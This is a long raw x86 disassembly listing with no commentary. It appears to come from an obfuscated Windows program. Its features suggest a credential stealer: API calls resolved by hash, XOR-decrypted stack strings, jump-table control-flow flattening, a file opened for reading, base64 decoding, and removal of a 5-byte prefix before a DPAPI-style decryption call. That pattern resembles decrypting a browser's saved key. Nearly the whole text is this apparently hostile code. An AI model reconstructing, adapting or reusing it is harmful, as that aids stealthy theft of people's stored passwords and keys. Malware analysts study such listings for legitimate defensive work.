add ebx, 0xffffffd0
cmp ebx, 0xa
jb case.default.0x42972c
mov ebx, 0xffffffff
or ebx, ecx
mov byte [eax], bl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x447e9c]
mov byte [eax], 0
mov dword [esp + 0x68], 0
push 0
push 0x10
push 0
push dword [esp + 0xa8]
call fcn.0042b990
add esp, 0x10
xor ebx, ebx
mov ebp, dword [esp]
cmp ebp, dword [esp + 4]
setne bl
jmp dword [ebx*4 + 0x447eac]
mov ecx, dword [ebp]
mov dword [esp + 0x68], ecx
xor edi, edi
jmp dword [edi*4 + 0x447ebc]
add ebp, 8
xor ebx, ebx
cmp ebp, dword [esp + 4]
setne bl
jmp dword [ebx*4 + 0x447eac]
mov edi, dword [ebp + 4]
mov ebx, edi
shr ebx, 0x1c
shl edi, 4
or edi, 1
xor ebx, edx
xor edi, eax
xor ecx, ecx
or edi, ebx
sete cl
jmp dword [ecx*4 + 0x447eb4]
mov ebx, 1
jmp dword [ebx*4 + 0x447ebc]
xor eax, eax
mov edi, dword [esp + 0x68]
test edi, edi
setne al
jmp dword [eax*4 + 0x447ec4]
mov ebx, dword [esp + 4]
mov esi, dword [esp + 0x10]
mov ebp, dword [esp + 0x80]
jmp dword [0x447ed4]
mov dword [esp + 0x14], esi
mov ebx, dword [esp + 4]
mov ebp, dword [esp + 0x80]
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x18], eax
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42987b
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], edi
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], 0
push 0xe18a387a
push dword [0x44ce44]
call fcn.004400a0
add esp, 8
lea ecx, [esp + 0x84]
lea edx, [esp + 0x8c]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x2c]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov esi, dword [esp + 0x10]
jmp dword [ecx*4 + 0x447ecc]
jmp dword [0x447ed4]
movzx eax, byte [edi]
test al, al
je 0x42989b
inc edi
mov byte [esi], al
inc esi
movzx eax, byte [edi]
inc edi
test al, al
jne 0x429890
mov word [esi], 0x203a
mov eax, esi
add eax, 2
mov esi, dword [esp + 0x84]
test esi, esi
je 0x4298db
mov ecx, dword [esp + 0x88]
mov edi, esi
and edi, 3
je 0x4298df
xor ebx, ebx
movzx edx, byte [ecx]
cmp dl, 1
sbb ecx, 0xffffffff
mov byte [eax + ebx], dl
inc ebx
cmp edi, ebx
jne 0x4298c0
add eax, ebx
mov edx, esi
sub edx, ebx
mov edi, eax
jmp 0x4298e1
mov esi, eax
jmp 0x429921
mov edx, esi
cmp esi, 4
mov esi, edi
jb 0x429921
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x4298e8
mov byte [esi], 0xa
inc esi
push 0xa7ffa4f5
push dword [0x44ce2c]
call fcn.004400a0
add esp, 8
push dword [esp + 0x88]
call eax
mov al, 1
mov dword [esp + 8], eax
mov ebx, dword [esp + 4]
jmp dword [0x447ed4]
push dword [esp + 0x7c]
call fcn.00408390
add esp, 4
add ebp, 4
mov ebp, dword [ebp]
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x447e7c]
push esi
call fcn.00408390
add esp, 4
nop
nop
nop
nop
nop
nop
push esi
call fcn.00408390
add esp, 4
jmp dword [0x447ddc]
jmp dword [0x447de4]
push dword [esp + 8]
call fcn.00408390
add esp, 4
jmp dword [0x447dec]
jmp dword [0x447dec]
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x14], 0x14151a1b
mov word [esp + 0x18], 0
mov byte [esp + 0x1a], 0
mov ecx, 0xd4276d46
nop
nop
nop
movzx edx, byte [esp + ecx + 0x2bd892ce]
xor edx, ecx
mov esi, edx
and esi, 0x21
xor edx, 0xa1
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x2bd892ce], dl
inc ecx
cmp ecx, 0xd4276d4d
jne 0x4299d0
mov ecx, dword [0x44ce38]
test ecx, ecx
je case.0x428c86.31
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44ce3c]
cmp dword [edi + esi*8], 0x1b6183f2
je 0x429a20
inc esi
cmp ecx, esi
jne 0x429a10
jmp case.0x428c86.31
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x428c86.31
push eax
push 4
push ecx
push dword [0x44ce40]
call fcn.0043e410
add esp, 0x10
jmp case.0x428c86.31
jmp dword [0x447df8]
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x14], 0x14151a1b
mov word [esp + 0x18], 0
mov byte [esp + 0x1a], 0
mov ecx, 0xd4276d46
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x2bd892ce]
xor edx, ecx
mov esi, edx
and esi, 0x21
xor edx, 0xa1
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x2bd892ce], dl
inc ecx
cmp ecx, 0xd4276d4d
jne 0x429a70
mov ecx, dword [0x44ce38]
test ecx, ecx
je 0x429a40
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44ce3c]
cmp dword [edi + esi*8], 0x1b6183f2
je 0x429ac0
inc esi
cmp ecx, esi
jne 0x429ab0
jmp 0x429a40
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x429a40
push eax
push 4
push ecx
push dword [0x44ce40]
call fcn.0043e410
add esp, 0x10
jmp dword [0x447df8]
jmp dword [0x447dd4]
mov ecx, esi
call fcn.0042b8f0
mov ecx, esi
call fcn.0042b8f0
jmp dword [0x447dcc]
push eax
sub esp, 0x10
mov dword [ebp - 0x2c], esp
sub esp, 0x18
mov ebx, esp
push eax
mov dword [ebp - 0x20], esp
sub esp, 8
mov esi, esp
mov dword [ebx], 0x23e321c5
mov dword [ebx + 4], 0x27962594
mov dword [ebx + 8], 0x3b9b39fc
mov dword [ebx + 0xc], 0x3f9f3d88
mov dword [ebx + 0x10], 0x333231d5
mov dword [ebx + 0x14], 0
mov eax, ebx
add eax, 0x14
mov dword [ebp - 0x10], eax
mov ecx, 0xb7
mov edi, ebx
nop
movzx edx, byte [edi]
lea eax, [ecx - 0x423e100]
or eax, edx
and edx, ecx
not eax
or eax, edx
add eax, 0xeb4c9e97
mov edx, eax
and edx, 1
xor eax, 1
lea eax, [eax + edx*2]
mov byte [edi], al
inc edi
dec ecx
cmp ecx, 0x9f
jne 0x429b60
mov eax, dword [ebp - 0x2c]
mov edi, eax
mov ecx, 5
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
mov edi, eax
add edi, 0x14
xor ebx, ebx
xor ecx, ecx
mov edx, dword [ebp - 0x10]
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
push dword [ebp - 0x20]
push 0
push 0
push 9
push eax
push 0
call dword [0x44ce34]
mov dword [esi], 0xf4e496f
mov word [esi + 4], 0
nop
nop
mov eax, ebx
add al, 0x92
xor al, byte [esi + ebx]
add al, 0x26
mov byte [esi + ebx], al
inc ebx
cmp ebx, 6
jne 0x429bd0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
sub esp, 0x10
mov dword [ebp - 0x10], esp
sub esp, 0x18
mov edi, esp
push eax
mov dword [ebp - 0x20], esp
sub esp, 8
mov esi, esp
sub esp, 0x10
mov dword [ebp - 0x28], esp
sub esp, 0x14
mov dword [ebp - 0x38], esp
sub esp, 0x1c
mov dword [ebp - 0x18], esp
sub esp, 0x20
mov dword [ebp - 0x1c], esp
sub esp, 0x18
mov dword [ebp - 0x24], esp
sub esp, 0x18
mov dword [ebp - 0x50], esp
sub esp, 0xc
mov dword [ebp - 0x6c], esp
sub esp, 0x20
mov dword [ebp - 0x2c], esp
push eax
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0x58], esp
sub esp, 0x18
mov dword [ebp - 0x98], esp
sub esp, 8
mov dword [ebp - 0x94], esp
sub esp, 8
mov dword [ebp - 0x3c], esp
sub esp, 0x14
mov dword [ebp - 0x40], esp
sub esp, 0x30
mov dword [ebp - 0x5c], esp
sub esp, 0x18
mov dword [ebp - 0x54], esp
sub esp, 8
mov dword [ebp - 0x9c], esp
mov dword [edi], 0x23e321c5
mov dword [edi + 4], 0x27962594
mov dword [edi + 8], 0x3b9b39fc
mov dword [edi + 0xc], 0x3f9f3d88
mov dword [edi + 0x10], 0x333231d5
mov dword [edi + 0x14], 0
mov edx, edi
add edx, 0x14
mov ecx, 0xb7
mov dword [ebp - 0x14], edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [edi]
lea ebx, [ecx - 0x423e100]
or ebx, eax
and eax, ecx
not ebx
or ebx, eax
add ebx, 0xeb4c9e97
mov eax, ebx
and eax, 1
xor ebx, 1
lea eax, [ebx + eax*2]
mov byte [edi], al
inc edi
dec ecx
cmp ecx, 0x9f
jne 0x429cb0
mov eax, dword [ebp - 0x10]
mov edi, eax
mov ecx, 5
mov ebx, dword [ebp - 0x14]
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
mov edi, eax
add edi, 0x14
xor ebx, ebx
xor ecx, ecx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
push dword [ebp - 0x20]
push 0
push 0
push 9
push eax
push 0
call dword [0x44ce34]
mov dword [esi], 0xf4e496f
mov word [esi + 4], 0
nop
mov ecx, ebx
add cl, 0x92
xor cl, byte [esi + ebx]
add cl, 0x26
mov byte [esi + ebx], cl
inc ebx
cmp ebx, 6
jne 0x429d20
jmp dword [0x447f20]
xor ecx, ecx
cmp eax, dword [esi]
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x447f24]
mov eax, dword [ebp - 0x20]
mov esi, dword [eax]
test esi, esi
jns 0x429d5a
mov eax, 0xffffffff
jmp 0x429d5d
lea eax, [esi + esi]
push eax
call fcn.00408380
add esp, 4
mov edi, eax
push dword [ebp - 0x20]
push esi
push eax
push 9
push dword [ebp - 0x10]
push 0
call dword [0x44ce34]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447f2c]
jmp dword [0x447f34]
jmp dword [0x447f3c]
push edi
call fcn.00408390
add esp, 4
nop
nop
nop
nop
nop
push edi
call fcn.00408390
add esp, 4
jmp dword [0x447f48]
mov ecx, dword [case.0x428e0d.66]
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
mov dword [ebp - 0x4c], edi
mov edi, dword [ebp - 0x38]
mov dword [edi], 0xb75f8944
mov dword [edi + 4], 0xb35db52b
mov dword [edi + 8], 0xbf20b123
mov dword [edi + 0xc], 0xbbbabd50
mov eax, edi
add eax, 0x10
mov dword [edi + 0x10], 0
mov ecx, 0xa2
mov edx, 0x5f
nop
nop
nop
nop
nop
nop
nop
lea esi, [edx - 1]
or esi, 6
add esi, ecx
dec ecx
mov ebx, ecx
or ebx, 0xf9
add ebx, edx
or ebx, esi
xor bl, byte [edi + edx - 0x5f]
xor bl, 6
add bl, 0x2a
mov byte [edi + edx - 0x5f], bl
inc edx
cmp edx, 0x73
jne 0x429e00
mov edx, dword [ebp - 0x28]
mov esi, edi
mov edi, edx
mov ecx, 4
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov edi, edx
add edi, 0x10
xor edx, edx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov edi, dword [ebp - 0x1c]
mov dword [edi], 0x49dd4bf0
mov dword [edi + 4], 0x45db47c5
mov dword [edi + 8], 0x41cc43d5
mov dword [edi + 0xc], 0xbd03bfdc
mov dword [edi + 0x10], 0xb928bb23
mov dword [edi + 0x14], 0xb538b727
mov dword [edi + 0x18], 0xb1b2b333
mov eax, edi
add eax, 0x1c
mov byte [edi + 0x1c], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 0x26
mov ebx, ecx
xor ebx, 0xa1d4d8f3
add ebx, esi
movzx esi, byte [edi + ecx]
xor ebx, esi
mov esi, ebx
and esi, 1
or ebx, 1
add ebx, esi
add bl, 0x40
mov byte [edi + ecx], bl
inc ecx
add edx, 2
cmp ecx, 0x1d
jne 0x429e90
mov esi, dword [ebp - 0x18]
mov edx, edi
mov edi, esi
mov ecx, 7
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edi, esi
add edi, 0x1c
xor edx, edx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov ebx, dword [ebp - 0x50]
mov dword [ebx], 0x51a54f88
mov dword [ebx + 4], 0x55b753a5
mov dword [ebx + 8], 0x59a457a5
mov dword [ebx + 0xc], 0x5d8a5bbc
mov dword [ebx + 0x10], 0x619c5f88
mov eax, ebx
add eax, 0x14
mov dword [ebx + 0x14], 0x6360
nop
mov ecx, edx
add cl, 0xd
xor cl, byte [ebx + edx]
add cl, 0xbf
mov byte [ebx + edx], cl
inc edx
cmp edx, 0x18
jne case.default.0x429faf
mov edx, dword [ebp - 0x24]
mov edi, edx
mov ecx, 5
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
mov edi, edx
add edi, 0x14
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov dword [eax + 4], esi
mov dword [eax + 8], edx
mov ebx, dword [ebp - 0x4c]
mov eax, ebx
add eax, 2
mov dword [ebp - 0x64], eax
mov edi, dword [ebp - 0x2c]
mov eax, edi
add eax, 2
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x40]
add eax, 2
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x5c]
add eax, 2
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x54]
mov eax, ecx
add eax, 2
mov dword [ebp - 0x80], eax
xor edx, edx
xor eax, eax
mov dword [ebp - 0x48], 0
cmp edx, 0xc
setne al
lea edx, [edi + 0x1a]
mov dword [ebp - 0x90], edx
add ecx, 0x12
mov dword [ebp - 0x88], ecx
xor ecx, ecx
jmp dword [eax*4 + 0x447f5c]
jmp dword [0x447f64]
push ebx
call fcn.00408390
add esp, 4
jmp dword [0x448010]
mov ecx, dword [ebp - 0x50]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
mov ebx, dword [ebp - 0x4c]
jmp dword [eax*4 + 0x447f5c]
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x50], ecx
mov eax, dword [eax + ecx]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x42a000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x38], esi
sar esi, 1
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
lea ecx, [esi + eax]
mov dword [ebp - 0x24], esi
lea edx, [esi + eax]
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x42a034
mov eax, 0xffffffff
push eax
call fcn.00408380
add esp, 4
mov esi, eax
movzx ecx, word [ebx]
mov dword [ebp - 0x28], eax
test cx, cx
je 0x42a061
mov edx, dword [ebp - 0x64]
mov esi, dword [ebp - 0x28]
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a050
mov word [esi], 0x5c
mov dword [edi], 0x23de21cc
mov dword [edi + 4], 0x27c525bb
mov dword [edi + 8], 0xdb46d939
mov dword [edi + 0xc], 0xdf2dddfc
mov dword [edi + 0x10], 0xd333d144
mov dword [edi + 0x14], 0xd733d540
mov word [edi + 0x18], 0xc9c8
mov eax, dword [ebp - 0x90]
mov byte [eax + 2], 0
mov word [eax], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [edi + ecx]
lea ebx, [ecx + 0x382eeb78]
mov edi, 0x87
sub edi, ecx
and edi, 0xb4
and ebx, 0x3006684b
or ebx, edi
xor ebx, edx
xor ebx, 0x482883b4
mov edi, 0x87d11487
sub edi, ecx
or edi, ebx
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x300668fd
and edi, 2
imul edi, eax
mov eax, ebx
and eax, 2
or ebx, 2
imul ebx, eax
sub edi, ecx
lea eax, [edi + ebx]
add ebx, edi
add ebx, 0x87d11488
mov edi, 0x77
sub edi, eax
xor ebx, edx
and edi, edx
add edi, edi
sub edi, ebx
lea eax, [edi + edi]
and eax, 0x4e2acd4e
xor edi, 0xa71566a7
mov edx, eax
and edx, edi
xor edi, eax
lea eax, [edi + edx*2]
mov edi, dword [ebp - 0x2c]
inc al
mov byte [edi + ecx], al
mov eax, ecx
and eax, 1
xor ecx, 1
lea ecx, [ecx + eax*2]
cmp ecx, 0x1d
jb 0x42a0b0
add esi, 2
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax]
test cx, cx
je 0x42a171
lea edx, [eax + 2]
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a160
mov word [esi], 0
movzx ecx, word [edi]
test cx, cx
je 0x42a1a1
mov edx, dword [ebp - 0x8c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a190
mov word [esi], 0
push 0x60
push 3
push 0x120089
push dword [ebp - 0x44]
push dword [ebp - 0x28]
call fcn.00440af0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447f6c]
xor ebx, ebx
jmp dword [0x447fdc]
push dword [ebp - 0x28]
call fcn.00408390
add esp, 4
movzx eax, bl
mov ebx, dword [ebp - 0x5c]
jmp dword [eax*4 + 0x447fe4]
push 0
push dword [ebp - 0x58]
mov eax, dword [ebp - 0x44]
push dword [eax]
call fcn.00440e60
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x447f74]
mov eax, dword [ebp - 0x58]
mov esi, dword [eax]
lea eax, [esi + 1]
push eax
call fcn.00408380
add esp, 4
mov edi, eax
push 0
push esi
push eax
mov eax, dword [ebp - 0x44]
push dword [eax]
call fcn.00440f30
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x447f7c]
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov byte [edi + eax], 0
push edi
call fcn.00401000
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x447f84]
jmp dword [0x447fb4]
mov dword [ebp - 0x7c], eax
push eax
call fcn.00401940
add esp, 4
mov esi, dword [ebp - 0x98]
mov dword [esi], 0x181deeeb
mov dword [esi + 4], 0xf7f2e4ea
mov dword [esi + 8], 0xf40432
mov dword [esi + 0xc], 0xfffafcf2
mov dword [esi + 0x10], 0xd0d0d
mov dword [esi + 0x14], 0x92f409
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
add cl, 0xea
xor cl, byte [esi + ebx]
add cl, 0x6e
mov byte [esi + ebx], cl
mov ecx, ebx
xor ecx, 0x48f843da
and ebx, 0x1a
lea ecx, [ecx + ebx*2]
add ecx, 2
mov edx, ecx
and edx, 0x425
xor ecx, 0xb707bc25
lea ebx, [ecx + edx*2]
cmp ebx, 0x18
jb 0x42a2b0
push esi
push eax
call fcn.00401a80
add esp, 8
mov edx, 0xffffffff
mov ecx, 0xfffffffd
nop
nop
nop
nop
nop
nop
nop
add ecx, 3
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x42a300
shr ecx, 2
mov esi, edx
mov dword [ebp - 0x18], edx
movzx edx, byte [eax + edx - 1]
cmp edx, 0x3d
je 0x42a324
cmp edx, 0x2e
jne 0x42a325
dec ecx
mov edx, dword [ebp - 0x18]
movzx edx, byte [eax + edx - 2]
cmp edx, 0x3d
mov dword [ebp - 0x68], eax
je 0x42a33a
cmp edx, 0x2e
jne 0x42a340
mov dword [ebp - 0x30], edi
dec ecx
jmp 0x42a343
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x78], ecx
lea eax, [ecx + 1]
push eax
call fcn.00408380
add esp, 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x18], 0
je 0x42a445
xor ecx, ecx
mov edi, 2
jmp 0x42a382
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x34]
nop
nop
lea eax, [edi + 4]
add edi, 2
mov ecx, ebx
cmp edi, edx
mov edi, eax
jae 0x42a445
mov dword [ebp - 0x10], ecx
mov esi, dword [ebp - 0x68]
movzx eax, byte [esi + edi - 2]
push eax
call fcn.0041f650
add esp, 4
mov bh, al
movzx eax, byte [esi + edi - 1]
push eax
call fcn.0041f650
mov edx, dword [ebp - 0x18]
add esp, 4
shl bh, 2
mov byte [ebp - 0x34], al
shr al, 4
and al, 3
or al, bh
mov ecx, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x10]
mov byte [ecx + ebx], al
mov eax, dword [ebp - 0x10]
lea ebx, [eax + 1]
cmp edi, edx
jae 0x42a370
movzx eax, byte [esi + edi]
push eax
call fcn.0041f650
mov edx, dword [ebp - 0x18]
add esp, 4
cmp al, 0x40
je 0x42a370
mov ah, byte [ebp - 0x34]
shl ah, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, ah
mov ebx, dword [ebp - 0x10]
lea esi, [ebx + 2]
mov dword [ebp - 0x34], esi
mov esi, dword [ebp - 0x1c]
mov byte [esi + ebx + 1], cl
lea ecx, [edi + 1]
cmp ecx, edx
jae 0x42a36b
mov ebx, eax
mov eax, dword [ebp - 0x68]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.0041f650
add esp, 4
cmp al, 0x40
je 0x42a368
shl bl, 6
add al, bl
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
mov byte [ecx + edx + 2], al
mov ebx, dword [ebp - 0x34]
or ebx, 1
and edx, 1
add ebx, edx
mov edx, dword [ebp - 0x18]
jmp 0x42a370
mov ecx, dword [ebp - 0x78]
add ecx, 0xfffffffb
mov esi, dword [ebp - 0x94]
mov dword [esi], ecx
mov eax, dword [ebp - 0x1c]
add eax, 5
mov dword [esi + 4], eax
mov edi, dword [ebp - 0x3c]
mov dword [edi], 0
mov dword [edi + 4], 0
push 0xe18a387a
push dword [0x44ce44]
call fcn.004400a0
add esp, 8
push edi
push 0
push 0
push 0
push 0
push 0
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447f8c]
xor ebx, ebx
mov edi, dword [ebp - 0x30]
jmp dword [0x447fac]
mov edi, dword [ebp - 0x30]
jmp dword [0x447f98]
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x38]
xor eax, 0x10
cmp dword [ebp - 0x24], 0
mov esi, dword [ebp - 0x40]
jns 0x42a4c6
mov eax, 0xffffffff
push eax
call fcn.00408380
add esp, 4
mov dword [esi], 0x19b61b6d
mov dword [esi + 4], 0x651467a8
mov dword [esi + 8], 0x61da63d8
mov dword [esi + 0xc], 0x6d6e6fdc
mov word [esi + 0x10], 0
mov ecx, 0xdf54e03b
mov edx, 0xc4
nop
nop
nop
nop
nop
nop
movzx edi, byte [esi + ecx + 0x20ab1fc5]
mov ebx, edx
xor ebx, ecx
and ebx, edi
xor ebx, ecx
mov edi, ebx
and edi, 0x58
xor ebx, 0xd8
lea ebx, [ebx + edi*2]
inc bl
mov byte [esi + ecx + 0x20ab1fc5], bl
inc ecx
dec edx
cmp ecx, 0xdf54e04d
jne 0x42a500
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx]
mov ecx, eax
test dx, dx
je 0x42a561
mov ecx, dword [ebp - 0x14]
lea edi, [ecx + 2]
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x42a550
mov word [ecx], 0
movzx edx, word [esi]
test dx, dx
mov esi, dword [ebp - 0x3c]
je 0x42a591
mov edi, dword [ebp - 0x60]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x42a580
mov word [ecx], 0
mov ecx, dword [ebp + 8]
push dword [esi]
push dword [esi + 4]
push eax
call fcn.00408fb0
mov edi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
add eax, 0x10
cmp dword [ebp - 0x24], 0xfffffff8
mov esi, dword [ebp - 0x40]
jge 0x42a5bb
mov eax, 0xffffffff
mov ebx, edi
push eax
call fcn.00408380
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [esi], 0x19b61b6d
mov dword [esi + 4], 0x651467a8
mov dword [esi + 8], 0x61da63d8
mov dword [esi + 0xc], 0x6d6e6fdc
mov word [esi + 0x10], 0
mov eax, 0xdf54e03b
mov ecx, 0xc4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + eax + 0x20ab1fc5]
mov edi, ecx
xor edi, eax
and edi, edx
xor edi, eax
mov edx, edi
and edx, 0x58
xor edi, 0xd8
lea edx, [edi + edx*2]
inc dl
mov byte [esi + eax + 0x20ab1fc5], dl
inc eax
dec ecx
cmp eax, 0xdf54e04d
jne 0x42a600
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x10]
test cx, cx
mov esi, dword [ebp - 0x3c]
je 0x42a661
mov eax, dword [ebp - 0x14]
lea edx, [eax + 2]
mov eax, dword [ebp - 0x10]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a650
mov word [eax], 0
mov ecx, dword [ebp - 0x40]
movzx ecx, word [ecx]
test cx, cx
mov edi, ebx
je 0x42a691
mov edx, dword [ebp - 0x60]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a680
mov word [eax], 0
mov ecx, dword [ebp + 8]
push dword [esi]
push dword [esi + 4]
push dword [ebp - 0x10]
call fcn.00408fb0
jmp dword [0x447fa0]
mov ebx, eax
jmp dword [0x447fa4]
push dword [ebp - 0x10]
call fcn.00408390
add esp, 4
push 0xa7ffa4f5
push dword [0x44ce2c]
call fcn.004400a0
add esp, 8
mov ecx, dword [ebp - 0x3c]
push dword [ecx + 4]
call eax
jmp dword [0x447fac]
push dword [ebp - 0x1c]
call fcn.00408390
add esp, 4
push dword [ebp - 0x7c]
call fcn.00401bb0
add esp, 4
jmp dword [0x447fb4]
jmp dword [0x447fc0]
push edi
call fcn.00408390
add esp, 4
nop
nop
nop
nop
nop
push edi
call fcn.00408390
add esp, 4
jmp dword [0x447fc8]
mov eax, dword [case.0x429faf.5]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [ebp - 0x44]
mov esi, dword [eax]
mov dword [ebp - 0x74], 0x14151a1b
lea eax, [ebp - 0x70]
mov byte [eax + 2], 0
mov word [eax], 0
mov ecx, 0xd4276d46
nop
movzx eax, byte [ebp + ecx + 0x2bd89246]
xor eax, ecx
mov edx, eax
and edx, 0x21
xor eax, 0xa1
lea eax, [eax + edx*2]
inc al
mov byte [ebp + ecx + 0x2bd89246], al
inc ecx
cmp ecx, 0xd4276d4d
jne 0x42a750
mov ecx, dword [0x44ce38]
test ecx, ecx
je 0x42a7b0
mov edx, dword [ebp - 0x74]
xor edi, edi
mov eax, dword [0x44ce3c]
nop
nop
nop
cmp dword [eax + edi*8], 0x1b6183f2
je 0x42a7a0
inc edi
cmp ecx, edi
jne 0x42a790
jmp 0x42a7b0
mov eax, dword [eax + edi*8 + 4]
cmp eax, edx
jne 0x42aa82
nop
nop
nop
nop
mov edi, dword [ebp - 0x2c]
jmp dword [0x447fdc]
movzx eax, bl
mov ebx, dword [ebp - 0x5c]
jmp dword [eax*4 + 0x447fe4]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov edx, dword [ebp - 0x24]
lea ecx, [edx + eax]
add edx, eax
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x42a7e6
mov eax, 0xffffffff
push eax
call fcn.00408380
add esp, 4
mov esi, eax
mov eax, dword [ebp - 0x4c]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x42a821
mov edx, dword [ebp - 0x64]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a810
mov dword [ebp - 0x10], esi
mov word [eax], 0x5c
mov dword [ebx], 0x994e9b78
mov dword [ebx + 4], 0xa54ba769
mov dword [ebx + 8], 0xa156a34b
